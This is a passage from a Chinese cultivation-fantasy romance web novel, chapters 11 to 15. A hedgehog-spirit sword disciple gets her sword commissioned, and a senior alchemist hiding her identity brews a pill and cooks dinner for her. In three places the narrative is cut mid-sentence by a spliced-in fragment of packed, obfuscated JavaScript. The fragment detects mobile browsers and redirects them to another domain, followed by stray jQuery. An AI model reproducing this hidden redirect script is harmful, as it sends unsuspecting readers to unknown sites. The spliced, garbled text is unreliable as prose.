小刺猬就是剑法阁新入的弟子之一。 不知怎的,她想到了小刺猬,想到了小刺猬昨晚的欲言又止和欣喜,便一同过来了。 走至殿门口,她感知到了和小刺猬一模一样的气息。 今日来铸剑的,就是小刺猬。 云榆,星星…… 裴依宁听着殿内的交谈,人形的小刺猬,相较于刺猬形,声音少了几分软糯,多了几分清亮。 上次意外遇见,她没能看清小刺猬的人形是何样。 只记得那双眼睛,会笑。 11. 第十一章 一炷香后,云榆将自身情况尽数告知风浅念:“风师姐,大致就是这样。” 风浅念轻“嗯”了声,细长的手指点一下殿外,柔和的声音缓缓流出:“云师妹方便让我看看你的剑法吗?” 来之前杜寻雁已经提醒过云榆,来到器物堂需要将同样的剑招再使一遍。 云榆道:“好的,风师姐,”她看向杜寻雁,低声,“杜师姐,我没有带铁剑过来。” 风浅念听见这话,温声轻笑:“器物堂有用来测试的剑。” 语落,一柄剑身呈现透明的长剑悬浮在半空中,缓缓飘至云榆头顶。 云榆第一次见到这种形态的剑,诧异地接住剑,忍不住多看几眼。 风浅念往旁侧站了一步:“云师妹,请。” 云榆身为这里最小的师妹,怎么敢走在两位师姐的前面:“师姐请。” 三人来到殿外,风浅念余光瞥见隐匿气息,被一根石柱挡住身形,只露出一断浅蓝色衣衫的人。 她偏头看向另一边,杜寻雁正耐心告诉云榆这把剑如何使用。 不多时,云榆站在殿前的空地上,五指握剑,周身灵力涌动,体内的水灵珠运转开来。 淡蓝色的灵力如流水般注入剑身,透明剑身充斥着水属性灵力。 风浅念眼睛微眯,一瞬不瞬地观察殿前舞剑人用剑的姿态,握剑的习惯…… 剑鸣声不断。 裴依宁站的位置是个视野盲区,又没有泄露气息,不仔细看,根本无法发觉到她的存在。 云榆的五官柔和,脸部的轮廓线流畅圆润,舞剑时,目光坚定,气势上因少了历练,缺失些许凌厉。 比起刺猬形,更多了正经。 裴依宁捻起两指,无意识地摩挲。 破空声停歇,一式落下,云榆双手抱剑,对着两位师姐行一礼。 剑身内的灵力被抽回,透明剑身化为点点星光飘散在天地间。 云榆不由自主地仰起头,抬起的手想要触碰快要消散的星点。在抬手的刹那,意识到这里不是她的住所,手臂落下。 杜寻雁没注意到她:“风师姐,如何?云师妹在剑法上天赋一绝,若是能得风师姐亲手铸剑,对她未来的修炼,可谓是大有益处……” “杜师妹,”风浅念含笑打断杜寻雁的话,无可奈何地道,“每次你带剑法阁的师妹来铸剑,都要说一遍这句,我都会背了。” 她并无烦闷,更多的是打趣:“剑法阁当真是人才济济。” 杜寻雁难得不好意思地笑了,一把扯过云榆,保证:“云师妹真的这般优秀。” 被当着另一位不相识的师姐明晃晃地夸赞,云榆耳根泛红,挪了挪身体,但被杜寻雁按得太紧,用处不大。 风浅念莞尔:“铸剑人选,暂时还不确定,但云师妹放心,器物堂的弟子会竭尽所能,为你铸造一柄最适合你的剑。” 云榆赶忙道谢。 风浅念笑了笑:“我带你挑选铸剑的材料。” 忽然,杜寻雁灵识内收到一道传音,她神色微变,脚步顿住。 风浅念回头:“怎么了,杜师妹。” 杜寻雁道:“裴师姐传音与我,让我去灵丹堂一趟。” 风浅念不着痕迹地扫过石柱,鸦羽般的睫毛颤动,她道:“杜师妹先去吧。”注意到杜寻雁为难的样子,她笑,“在我这,还怕云师妹走丢了不成。” 云榆不愿让师姐为难,只是奇怪裴师姐不久前还在器物堂,怎得突然传音让杜师姐去灵丹堂。 多想无益,她道:“师姐,我可以自行回峰阁。” 杜寻雁嘱咐了她几句,又对着风浅念道了声“麻烦师姐了”才离开。 “云师妹,这边。”风浅念在前面带路。 云榆赶忙跟上。 前往存放练剑材料的路上,风浅念不忘再次确认云榆的用剑喜好。 云榆不懂炼器,风浅念问什么,她答什么。 挑选完器物,云榆只觉得身心愉悦,压在心头的一块巨石落下。 她离开前,风浅念道:“云师妹,剑铸好后,会传音给你,届时你来器物堂取便可。” 云榆感谢:“多谢风师姐。” 告别风浅念后,云榆长长呼出一口气。 她原本想问问风师姐,铸剑所需的时间,好有个盼头,只是一问,显得她太急躁了,无端给人添了压力。 慢悠悠地晃动器物堂峰阁的边缘,云榆正欲催动灵力下山,余光中挤入一道颀长的身影。 是她的小跟班。 这也太巧了吧,小跟班今日也来器物堂了,看样子是准备离开。 她收回灵力,有意等人一起。 只是她少有以人身同裴依宁碰面,上次灵丹堂相遇,也不曾以人身说过话。 她浑然没有现在暴露自身的想法。 当是初次见面吧。 云榆想着,大大咧咧地同对方挥了挥手,要开口招呼时,笑意陡然凝固一瞬。 按理说,她不知道宁依的名姓,更不知道对方是否是新入宗的弟子,直接喊出口,岂不是惹人怀疑。 她顿了顿:“这位同门,你也是来器物堂求取炼器的?” 裴依宁端着一顶小炉顶,半真半假:“来求取一顶炼丹炉。” 云榆了然,宁依许是正式开始学习炼丹了。

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14824608|158791||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 她热心肠:“我帮你拿着吧。” 裴依宁道:“这怎么好,多谢……” 云榆道:“云榆。” 裴依宁接话:“多谢云榆的好意。” 面对面,更近的距离,裴依宁看清了云榆的五官和表情。云榆说话时,眼睛总是弯弯的,亮亮的,里面含着一汪春水,含着一抹笑,鲜活灵动。 无端让人亲近。 裴依宁指腹按在炼丹炉上。 云榆眉梢挑起:“这位同门,不自我介绍一下吗?” 不知为何,她在面对宁依时,不似面对其她人的局促,可以轻松的开玩笑。 裴依宁歉意道:“下次有缘再见,我再做介绍。” 骗了小刺猬,再骗对方的人身,有点不太好。 云榆只当宁依是性格腼腆,不再为难她。 但竟然遇上了,正好可以问问昨夜她询问的事情。 云榆对着裴依宁拱手,灵力涌动,她身形悬空,朝着一方向而去。 离远了后,云榆回眸瞧不见裴依宁的身形后,摇身一变,身形缩小。 一团小刺猬出现。 小刺猬缩成球,快速地滚动起来,赶往回灵丹堂的必经之路。 裴依宁瞳孔中异光浮现,将云榆的动作尽收眼底,她好笑地摇摇头,眼底暖意融融。 【依宁,你说什么?】灵识内传来风浅念的传音。 裴依宁笑意敛去:【浅念,我想麻烦你和原师姐共同为云师妹铸剑。】 风浅念和原师姐是器物堂最顶尖的两位炼器师,由她们二人合力铸造的剑,自是不会差。 视野中,一只小刺猬正坐在巨石上,两条小短腿晃来晃去的,裴依宁敛去的笑意又扩展开。 她传音:【浅念,我还有事,晚点再传音与你细说,这件事还请不要告知任何人,包括云师妹。】 “宁依。”小刺猬挥舞小爪子。 裴依宁走近,故作新奇:“星星。” 小刺猬从巨石上跳下:“没想在这能碰上,当真是有缘。”她看了眼宁依捧着的东西,明知故问,“这是什么?” 裴依宁蹲下身,将炼丹炉放在地上,供小刺猬看:“炼丹炉。” 小刺猬好奇地跳到炼丹炉上,两只爪子抱着炉盖,几番用力都没能打开。 裴依宁见状,道:“有些重,星星别伤到自己。” 谁知下一秒,小刺猬用力过猛,脱力从炼丹炉上滑落。 裴依宁眼疾手快,灵力跃动,在小刺猬表面形成无形的保护。 真成球,一连滚了好几圈才停下的小刺猬:“……” 在跟班面前丢尽面子了。 12. 第十二章 滚成一团的小刺猬默默地缩在地上,小脑袋埋在下面,各种想法在大脑中飞速略过。 怎么能在跟班面前这么丢人。 小刺猬绝望地闭上了眼睛。 拢在后背的刺被戳动,小刺猬抖动身体,排斥性很强。 忽地,脑中灵光一闪,小刺猬摊开身体,四肢支撑着地面,身体上下起伏,一连数个后,她道:“锻炼,我们刺猬都是这样修炼的,先滚成一团,然后四肢着地,锻炼爪子的支撑能力。” 裴依宁眉眼中蓄满了柔和的笑意,她配合地维护小刺猬的面子:“第一次见这种修炼方法。” 小刺猬耳朵更红了,辩解:“修炼方式有很多,以后我教你别的。”她直起身,两只小爪子拍了拍,“你虽然是丹修,但也不能荒废了修行,不然修为跟不上,很难练出高品质丹药。” 她说得一本正经。 云榆不是张口就来地瞎说,她之前练剑时,听几位师姐闲谈,聊过其它几个峰阁的事。 无论是剑修,丹修,炼器,亦或者是其它的,修为都是基础,亦是重中之重。 小刺猬一只爪子放在小腹前,另一只爪子横背在腰后,模仿仙风道骨的老者姿态:“你们灵丹堂内品阶高的炼丹师,修为是不是同样很高。” 裴依宁抿唇,一副受教的样子:“是的。” 小刺猬微微扬起头:“对吧,所以刚刚我就是在给你演示我们刺猬的修炼方式。” 小刺猬欲盖弥彰的样子过于可爱了。 裴依宁心软了又软。 她继续配合:“很厉害的修炼方式,我能学吗?” 小刺猬心虚地轻咳声。 教宁依在地上滚? 她看了眼裴依宁精致的五官和一尘不染的衣衫,脑海中不自觉浮现女人缩成一团在地上滚动的画面。 太不合适了。 小刺猬瘪嘴,摆摆爪子:“不行,这是独属于刺猬的修炼方法,你不适用。” “这样啊,”裴依宁狡黠地道,“星星能再让我看看你的这种修炼方法吗?” 话都说出去了,咬着牙也要应合下去。看在这人手艺这么好的份上,小刺猬“嗯”了声,大度地点点头:“行吧,就再给你示范一下刺猬的不传之法。” 她四肢着地,无人可见的地方,小刺猬的脸紧绷着,几个呼吸后,她慢慢地缩回到地上,四肢收起,后背的刺肉眼可见的动起来。 小刺猬缩成了球形,在裴依宁的注视下,匀速往前滚动了几圈,停住几秒,又滚了回来。 四肢伸出,做了几个起伏后,小刺猬爬起。 这次熟练了很多,小刺猬满意地拍拍爪子,自觉这次不像前一次的意外,她的形象应该能挽回很多:“看清了吗?” 裴依宁温声:“看清了,星星滚得很直。” 小刺猬茫然。 裴依宁指了下她的后面。 小刺猬扭头,在她身后,被刺扎出来的小坑连成一条笔直的线。 小刺猬:“……懂什么?刺猬方向感好。” 裴依宁忍不住弯下眉眼,唇边扬起的弧度压下去些:“星星好厉害。” 小刺猬在某方面幼稚得厉害,她就像是哄孩子般,温声细语地哄着小刺猬。 但小刺猬毕竟是已经可以化形的小刺猬,怎么会看不出她憋着的笑意,听不出她话语中的哄意。 小刺猬小脸拉下去。 宁依根本不是真心在夸她,一定是知道她第一次滚落的原因,知道她在胡编乱造。 更可恶的是,竟然哄骗小刺猬再滚了一次,还让她以为计谋得逞,掩饰了开始的失误。 她在嘲笑自己。 小刺猬磨牙。 “宁依!”小刺猬喊她大名。 裴依宁眨眨眼:“嗯?” 她眼神一瞬间变得茫然,无辜地问:“怎么了,星星,是我说错话了吗?” 她的表情不像是演的,小刺猬狐疑地观察面前女子的表情,莫不是她误会宁依了。 宁依毕竟是新入宗的弟子,有种天真懵懂的感觉。 裴依宁轻咬下唇:“我没有想要偷学刺猬的修炼方式。” 小刺猬蹙眉,好像真的误会宁依了。 她清下嗓子,软糯的话语吐出:“没有,你没说错。小刺猬就是很厉害。” 拉下的表情转变为傲娇,小刺猬跳上炼丹炉,借助外物,她能和蹲下的宁依齐平。 小爪子拍了拍宁依的肩膀,小刺猬道:“不过宁依不用着急,灵丹堂的师姐们会为你挑选适合你的修炼方法。” 裴依宁扯唇:“不着急。”她想到什么,顿了下,“星星,你之前让我问的事,我已经帮你问过了。” 云榆反应了会,才意识到对方的意思。 是昨夜分开,她问宁依有没有请教过那位裴师姐,宁依告诉她的答案是“还没有,但已经和裴师姐见过面了”。 她还说:“裴师姐是个很好说话的人。” 于是,云榆问:“能不能帮我问问她,六品丹药是不是很难炼制。” 而今,这个问题有了答案。 小刺猬竖起耳朵,满怀期待:“那位裴师姐怎么说?” 裴依宁道:“裴师姐说,六品丹药是高品阶的丹药,炼制起来有一定难 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14824609|158791||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 度。但对于她来说,不难。” 小刺猬听到前面一句时,肉眼可见的低落下,又在听见后一句话时,漆黑的眼睛亮起来。 短短时间内,快速的变脸让裴依宁忍俊不禁:“怎么了,星星?” 小刺猬犹豫片刻,又问:“如果让裴师姐帮忙炼制一枚六品丹药需要多少枚灵石。” 裴依宁反问:“星星需要六品丹药?” 六品丹药,小刺猬要这个做什么。 “秘密。”云榆绕过她的问话,重复:“裴师姐有说要多少灵石吗?” 如果是一品,两品的丹药,她还能去交易堂找找,但六品丹药,出现便是会被疯抢的程度,哪里轮得到她。 同阶的炼丹师,炼制出的丹药药效也会有所不同。 她这几天听说过数次那位裴师姐的名号。 裴师姐那么厉害,炼制出的丹药品质自是也是极好的。 若是能请得动这位裴师姐,成功率能提升很多。 她记得那日在交易堂,两名灵丹堂的弟子曾说过,裴师姐闭关前炼制的丹药,卖了一万枚灵石。 这对于小刺猬来说,简直是天价。 当时那两人并未说,卖出的丹药是何品阶,她无法据此估出准确的数值。 一颗一品丹药就要两枚灵石,六品更是难度的跨越,恐怕不会低于五指之数。 小刺猬在为未来请那位裴师姐炼丹做打算,先打听出价格,再存灵石。 裴依宁虚虚护着小刺猬的后身:“星星着急吗?” 云榆实话实说:“不急。” 不急的话,她就不用那么早暴露了,裴依宁掀开炼丹炉的炉盖,小刺猬自然地滑到炼丹炉边缘。 裴依宁道:“五十万枚灵石。” 云榆:“……” 她这辈子没希望了。 裴依宁慢悠悠地补充道:“而且,裴师姐对这种活没兴趣,有灵石也不一定能请动她。” 小刺猬耷拉下脑袋,欲哭无泪:“那么贵……” 这么贵,就是把她卖了也买不起。裴依宁后面说的话被她自动忽略,都凑不齐灵石了,请不请的动有什么意义。 她小刺猬难不成这辈子都只能这样了。 见不得小刺猬这幅神情,裴依宁眼底闪过一丝懊恼,她戳了下小刺猬的脸颊:“没关系的,星星,等我成为六品炼丹师,免费为你炼制丹药。” 小刺猬猛然想起面前人是丹修的事实,连忙从炼丹炉上爬起,小爪子抱住裴依宁的手指:“宁依,你一定要好好修行,好好炼丹。” “我的身家幸福,全寄托在你身上了。” 13. 第十三章 小刺猬的爪子并不柔软,甚至有几处还有些硌人。 此刻,小刺猬漆黑的眸子中折射中斑斑点点的亮光,期待的目光直直地注视着裴依宁。 裴依宁被这样的视线灼热,浅色瞳孔中倒映出刺猬小小的身形。 她莫名想到小刺猬的人形。 她轻轻挠了挠小刺猬的爪子,温声应下:“好,我会努力修炼,争取早日为星星炼制出六品丹药。” 手指上的爪子松开了些,小刺猬不忘感谢:“没关系,尽力就好,宁依的心意我收到了。” 她不给宁依施加压力,心底默默计算如何能凑齐五十万枚灵石。 光靠宗门每月给的定然不行,想要获得额外灵石,只能靠自己。丹药,符纸这些,她一窍不通。 算了,到时去任务阁看看有没有现在的她能做的任务。 小刺猬心思快速变动,攥住裴依宁食指的小爪子越来越松,直到最后完全松开,脱力向后仰去。 被裴依宁另一只手护住,没再向上次那样,滚落在地。 小刺猬后知后觉反应过来,四肢蹬过炼丹炉,翻身落到地面。 裴依宁主动将手掌平摊在小刺猬面前,道:“我的手没事。” 云榆脱口要出的话被抢过,张开的嘴巴只能合上,干巴巴地道:“没事就好,以后你不用护着我后面,我就算摔倒了,也不会很疼。” 裴依宁捕捉到她话语中的关键点:“不会很疼,”她半支起眼睑,笑意不达眼底,“那还是会疼的。” 小刺猬更不知道说什么了,只好转移话题:“宁依今晚有事吗?” 裴依宁:“没有,星星呢?” 云榆道:“我今晚也没事。” 她的剑还未铸好,不急于一时。 “好。”裴依宁将炼丹炉放入空间储物,直起身,投射下的影子顷刻间将小刺猬包裹。 下一秒,阴影越来越近,裴依宁的脸几乎占满她的眼睛。 云榆不知道发生了什么,就被裴依宁一把捞起,放在手臂上。 旋即有灵力浮动,云榆眼前闪过各种场景,等她能再次看清周围的事物时,已经不是身处原来的位置。 取而代之的是一处布局简单,但仔细看过,就能发觉每一样物品都非凡物的洞府。 在房间的中央,四根两公分的灵柱围成一个正方形。在正方形上方两米处,一枚带着火焰的珠子缓缓转动,燃烧的焰火随着转动随之摇晃。 小刺猬不免睁大了眼睛:“宁依,这是哪里?” 裴依宁将炼丹炉放置到正方形上,取下那枚带着火焰的珠子卡在炼丹炉中央的凹槽处。 她道:“这里是我的住所。” 小刺猬眨巴眼睛,重复:“这里是你的住所?” 她环顾四周,汇聚灵气的阵法,看不出品质的火焰灵珠,有她数个住所大的洞府…… 小刺猬崩溃了,她惊诧:“你们灵丹堂富成这样了吗?” 裴依宁“嗯”了声,这里的绝大部分物品都被她放入储物空间了,只留下灵丹堂弟子该有的。 这样不会被小刺猬怀疑。 但洞府的大小一时无法改变,那枚火焰灵珠她也没有收起。 影响应该不会太大。 裴依宁解释:“灵丹堂弟子居所的布局皆是如此,我来时,运气较好,被分了一间面积较大的。” 小刺猬心里更不是滋味了,人比妖,气死妖,她还是低估了灵丹堂的财富。 她闷闷地道:“宁依,你知道怎么让人不开心吗?” 裴依宁:“嗯?” 小刺猬说:“就比如现在,我就很不开心。” 裴依宁:“嗯?” 小刺猬:“不准嗯了!” 裴依宁:“好。” “……”小刺猬板着脸,“为什么突然带我来你的住所?” 她没有提过要来宁依的住所。 裴依宁几不可查地蹙起眉头,她当时见小刺猬有些心不在焉,心知对方对自己能不能修成六品炼丹师有所怀疑。 为了让小刺猬更信服,或者说,让小刺猬对她更有依赖,她选择展示一点能力出来。 至于为什么要让小刺猬对自己产生依赖……裴依宁无法明确这种情绪的由来。 她一闭眼,就是小刺猬的人形,那双好似随时都在笑的眸子过于吸引人了。 在她深居简出的这些年岁中,很少能有如小刺猬这般让她过于关注的存在。 她放任自己对小刺猬的关注。 裴依宁小心地放下小刺猬:“想给星星看看我这段时间所学。” 小刺猬还是板着脸:“什么?” “稍等。”裴依宁从一排摆放整齐的低品阶药草中取出几株尾端带着叶片的,而后在小刺猬不解的注视下, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14824610|158791||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 开启炼丹炉。 熊熊火焰自炉底升起,橙黄色的炉火打在裴依宁的侧脸,使得她半边身形都似乎被火焰吞没。 高热的温度让小刺猬弹跳着往后退去。 她当即明白了宁依是要炼丹。 但宁依不是刚拿到炼丹炉吗?什么都没学就直接炼丹,会炸炉吧。 据说炸炉伤害力极高,一定范围内的事物都会被夷为平地。 小刺猬咽了下喉咙。 裴依宁面色淡然,将几株药草一并扔入。 小刺猬心惊,是不是太随便了点……这是这要炸炉啊! 她咬牙,调动灵力,一旦出现意外,她的灵力会瞬间包裹住宁依,不会让对方受到伤害。 她自己有刺的保护,就算被波及,也不会受太大伤。 暗暗做好决定的小刺猬保持警惕。 对她想法毫不知情地裴依宁敲了下炼丹炉。 多年不曾炼制一品丹药,没想到如今新进的炼丹炉,第一炉就是一品丹药。 她何时需要炼丹炉来炼制这种低等级的丹药了。 还需要故意拉长炼丹时间,营造一点困难的感觉。 云榆不敢打扰裴依宁,屏息等待。 小半个时辰后,火焰消灭,阵阵丹香自炉中传出。 丹成了。 裴依宁打开炉盖,片刻后,从中取出一枚丹药。 丹药浑圆,成色上好。 应该炼制的再差一点才对。 裴依宁将丹药递给小刺猬:“星星,你看。”她眉宇间被有意弄上了些许炉灰,“我会成为六品乃至更高等级的炼丹师。” 云榆没想到小跟班在炼丹的天赋上如此高,没入宗多久,竟然就摸到炼丹师的门槛。 哦,不对,是已经成为一品炼丹师了。 她看不出这枚丹药的品质,但不妨碍她夸:“好厉害,你一定可以的。” 小刺猬跳起来,擦去裴依宁眉宇间的脏色:“弄到额头了。” 裴依宁顺从地俯下身子,将那枚丹药递给小刺猬。 小刺猬欣喜:“这是宁依炼制的第一枚丹药吗?” 裴依宁僵硬了下:“不是。” 小刺猬理解,若是第一次炼丹,怎么可能这么顺利地炼制出,宁依之前一定失败了很多遍才成功,才会在自己面前炼制。 她珍惜:“我会好好保存的。” 14、第十四章 小刺猬仔细地将丹药装入锦盒中,又用灵力化作一条绸缎,系在锦盒上,方才放入空间储物中。 她的灵识跟着进入空间储物,在锦盒的四周开辟出一小块空地,确保锦盒不会被任何物体挤压。 虽然小刺猬的空间储物中并没有太多东西。 眉宇间被小刺猬触碰到的痒意还有留存,裴依宁轻轻抚过那处,留下的余温在她指尖消散,她凝望着灵识尚未回归的小刺猬,垂落的指在小刺猬的肚皮上划过。 怕被小刺猬发现,她很轻,很快,如同一根羽毛扫过。 但小刺猬还是察觉到了,灵识快速回归,两只小爪子护住肚皮。 裴依宁指尖蜷缩。 被小刺猬发现了吗? 小刺猬护着肚子的爪子放下,毫无所觉地:“宁依,你什么时候开始会炼丹的?” 她一直以为宁依还停留在打杂,辨识灵草的阶段。 裴依宁面不改色:“前几日在裴师姐的指点下,机缘巧合领悟到炼丹的奥秘。” 小刺猬没有怀疑,思考着点头:“说明宁依的悟性高,不然那位裴师姐再怎么指点也不行。” 小刺猬赞许地拍了拍裴依宁的肩膀,夸道:“不愧是我跟班,厨艺和天赋都无可挑剔。” 按照宁依的速度,想来定是灵丹堂这一批新弟子中,最快成为炼丹师的。而她小刺猬,亦是剑法阁新弟子中,第一个铸剑的。 某种程度上来说,怎么不算是相互吸引呢。 小刺猬心思百转千回。 厨艺排在天赋前面,可见吃对小刺猬才是最重要的。 裴依宁弯下唇,曲起的指背有一下没一下地点在腿上:“是,能做星星的跟班,我很开心。” 小刺猬微微仰起头,想到什么:“对了,既然今晚都没事,我们还去膳食堂吗?” 她私心想去,昨晚吃得太好了,以至于碰到宁依的第一面,想到的就是昨晚的汤食,药膳和红烧肉。 但夜夜拉着宁依做这些,过于频繁了。 她有些不好意思。 小刺猬局促的心思都写在脸上,裴依宁忍不住想要戳戳小刺猬的脸颊。 她也确实这么做了。 小刺猬的脸颊没有肚子柔软,可温度却要高些。 裴依宁在小刺猬惊异的目光中收回手,柔声道:“沾到东西了。” 小刺猬不怀疑:“可能是炉灰。” 她刚刚帮宁依擦拭额头的炉灰,其中有一些飘散了下来。 裴依宁很淡地“嗯”了声,别过垂落的发丝至耳后:“今晚不去膳食堂了。” 小刺猬略有失落,但没有表现出:“嗯嗯,好,天天去膳食堂也不好。” 裴依宁莞尔:“今晚不去膳食堂,在我这吃吧。” 她歪头,示意小刺猬看洞府内的空间:“我这里挺大的,等会我开辟出一方空间,在这做饭吧,方便。”她顿了顿,“也不需要担心停留太久被抓住,星星觉得怎么样?” 小刺猬一只爪子放在下巴处,沉思:“太麻烦了。” 只是为了吃,就占据宁依洞府的一方位置,她觉得不好。 尤其是她扫见洞府中央的那方炼丹炉以及摆放在附近的药草。 宁依只是一品炼丹师,未来品阶升高,炼丹炉说不定也要换。 她对炼丹不了解,但她那日在灵丹堂看见侧殿内的巨型炼丹炉,就占据了不小的位置。 如此一想,她更不愿意占用宁依的空间了。 小刺猬拒绝:“还是算了吧,没必要。” 裴依宁:“星星不想吃吗?” 宁依总是用这种诱导性的语言,小刺猬抿唇,义正言辞:“不想。” 脸上分明写着想。 裴依宁故作无意:“我听说膳食堂这段时日关闭,无法进入。星星真的不想吃吗?” 膳食堂关闭?小刺猬瞳孔不受控制地睁大。 她咬住牙:“不要。” 裴依宁分不出她的心思,亦是不想在这么简单的事上耗费太长时间,她问:“星星有什么顾虑吗?” 小刺猬看她。 裴依宁神情松散,懒洋洋地支着半边脸颊,整个人都柔和了下来:“嗯?” 小刺猬犹豫:“没什么。” 裴依宁叹了口气,语气低落:“星星不愿意告诉我吗?还是说,”说不上是什么情绪,她似是正经,又似是玩笑,“星星不信任我?” 说完,裴依宁自己都怔愣了瞬,下一秒,她蹙眉起身,背对着小刺猬,摆弄不远处的药草。 心思杂乱。 小刺猬以为她是不开心了,手脚并用地跑过去,谨慎地避开那些药草,来到裴依宁的对面。 裴依宁侧过身,摆弄另一边的药草。 小刺猬又跟过去,对上女子还没松开的眉,试探地问:“宁依?” 裴依宁不理她。 小刺猬有些着急了:“我不是不愿意告诉你,更不是不信任你。”她竖起小爪子,“我说的是实话。” 裴依宁一言不发地看着她。 小刺猬找寻解释的话语:“我只是担心,你未来成为高品阶的炼丹师,会需要更大的地方放置炼丹炉和药草,现在占了你的地方,日后还要清空,过于麻烦了。” 小刺猬边说边观察裴依宁的神色。 女人皱起的眉头终于舒展开。 小刺猬无形松了口气,继续道:“要是我的话让你感到不舒服或者是不高兴,你都可以告诉我,不用藏在心底。” 小刺猬很认真地说:“小时候,家里人就是这么跟我说的。憋在心里,会更难受的。” 小刺猬过于真诚了。 裴依宁压下心底说不明的悸动:“我没有不高兴。” 那种忽然而来的感觉让她颇为不适应,尤其是总在不经意间想到小刺猬的人形。 那是种她不曾触及,无法控制的感觉。【你现在阅读的是 】 15、第十五章 表现在外的神情尽数收敛,裴依宁弯下唇,纤长的手指点在小刺猬的鼻尖。 小刺猬呼出的热气扑洒在她的指腹上,裴依长睫颤动,对着小刺猬摊开手。 小刺猬只犹豫了一瞬,便是跳到裴依宁的掌心,而后被对方放在肩头。 裴依宁温润的声音缓缓流出:“星星也是,不要埋在心里,要实话对我说。”她边移动角落处的物品,边预估生火位置的大小,“炼丹炉的大小与炼丹师的等级没有关系,灵丹堂殿内的巨型炼丹炉,是为了一次性炼制更多的丹药而铸造的。” 她尽量让小刺猬明白:“就算我以后成为高品阶的炼丹师,依旧会选择用与这个差不多大小的炼丹炉。” 诚如现在这般,她用的私人炼丹炉一直是这么大的,过大会显得累赘,占地,没有必要。 炼丹亦是如此,到了她这个水平,低品阶的丹药,她甚至不需要借用炼丹炉,只用灵力包裹药草,催动灵火炼制即可。 声音离得过近了,小刺猬能感觉到身体的震动,宁依身上有股淡淡的,很好闻的香气,呼吸间,萦绕在她的周身。 女子用发簪簪住的长发,掉落下几根脱离束缚的,弯弯地叠在小刺猬身上,有时还会轻柔地扫过小刺猬柔软的肚子。 痒痒的。 小刺猬将那几根长发攥住,又担心会不小心拉疼了宁依,想要靠的离宁依脖颈近点,身上的刺却限制了她的行动。 万一扎到宁依怎么办。 小刺猬两只小爪子虚虚地握住那几根发丝,发丝随着主人的走动在爪间小幅度来回。 小刺猬找到了很好的平衡点:“宁依,有没有需要我帮忙的?” 药草贵重,这种精细活她的刺猬身做不了,但其它力所能及的事,她想要试试。 裴依宁没有让她帮忙的念头,她的东西本就不多,又在带小刺猬来之前收起了许多,剩下的只是挑挑拣拣的事情。 她拾起最后一株药材,看了眼,收入空间储物中,没有拿给小刺猬食用。 一是小刺猬过去不知道生食了这些东西吧,二是,这株药材品阶太低。 她私心不愿意让小刺猬多食用这种于自身无用的东西。 清理完后,裴依宁后退几步,打量这方空阔的空间,微微颔首,灵力悄无声息地在前方形成一道透明帷幕。 与此同时,小刺猬也悄悄用灵力在前方拉出一片无形的遮挡,防止等会饭菜的气息飘进宁依睡觉的地方。 沾染到味道就不好了。 做完这些的小刺猬偷偷看了眼宁依。 从她的方向看去,一眼望入的,是宁依冷白细腻的肌肤,模糊间,还能看见女人脸上细小的绒毛。 被透进来的斜阳暖光照耀,有金光浮现在女人脸上的错觉。 小刺猬不禁愣住神。 “星星,”裴依宁的声音恰到好处地响起,小刺猬游离的思绪被拉回,“可以了。” 小刺猬“嗯啊”了声。 昨晚的餐食今日自不可能再做一遍,她原计划就是让小刺猬多吃点不同的食物,从而找寻出最喜欢的那样。 今日和小刺猬的遇见是巧合,她没来得及准备餐前吃食。 裴依宁环顾洞府,难得生出这处洞府过于大,过于清冷了。 “宁依,今晚打算做什么?”小刺猬好奇。 她开始馋了。 裴依宁思索着:“排骨冬瓜汤,再给星星做一份水煮肉片,一份炒青菜,怎么样?” 她问:“星星能吃辣吗?” 小刺猬点头:“可以的。” 裴依宁放心了。 她去清理食材,小刺猬则是全程爬在她的肩头,陪她一起。 静谧安静的时光,总让人觉得过得很快。 饭后,小刺猬抢走了裴依宁洗碗的工作,小小的身体抱着比她还要大一些的碗,小爪子卖力地动着。 裴依宁无奈地笑笑,眼底浮现一抹她自己都不曾发觉的柔意,拿过小刺猬抱着的碗:“我来吧。” 小刺猬不愿意,她虽不是人身,但这种事还是可以做的。 就是麻烦点。 她不能当个只知道吃的小刺猬。 裴依宁只好任由她做下去。 小刺猬趴在岸边,一个碗一个碗地清洗。 裴依宁就蹲在岸边,手臂伸直,侧脸贴着手臂,姿态慵懒散漫。 洗到最后一个碟子,小刺猬甩了甩酸涩的小爪子。 她应该把宁依支开,然后化作人形洗的。 神经放松,小刺猬捞起淋着水渍的盘子放在一边,不经意间,她对上裴依宁的视线。 四目相对,眼神还没转回去,两只小爪子已经伸到河流中。 没能注意,倾斜的角度过大,小刺猬脚下一滑,掉入水中。 水花顷刻间溅起。 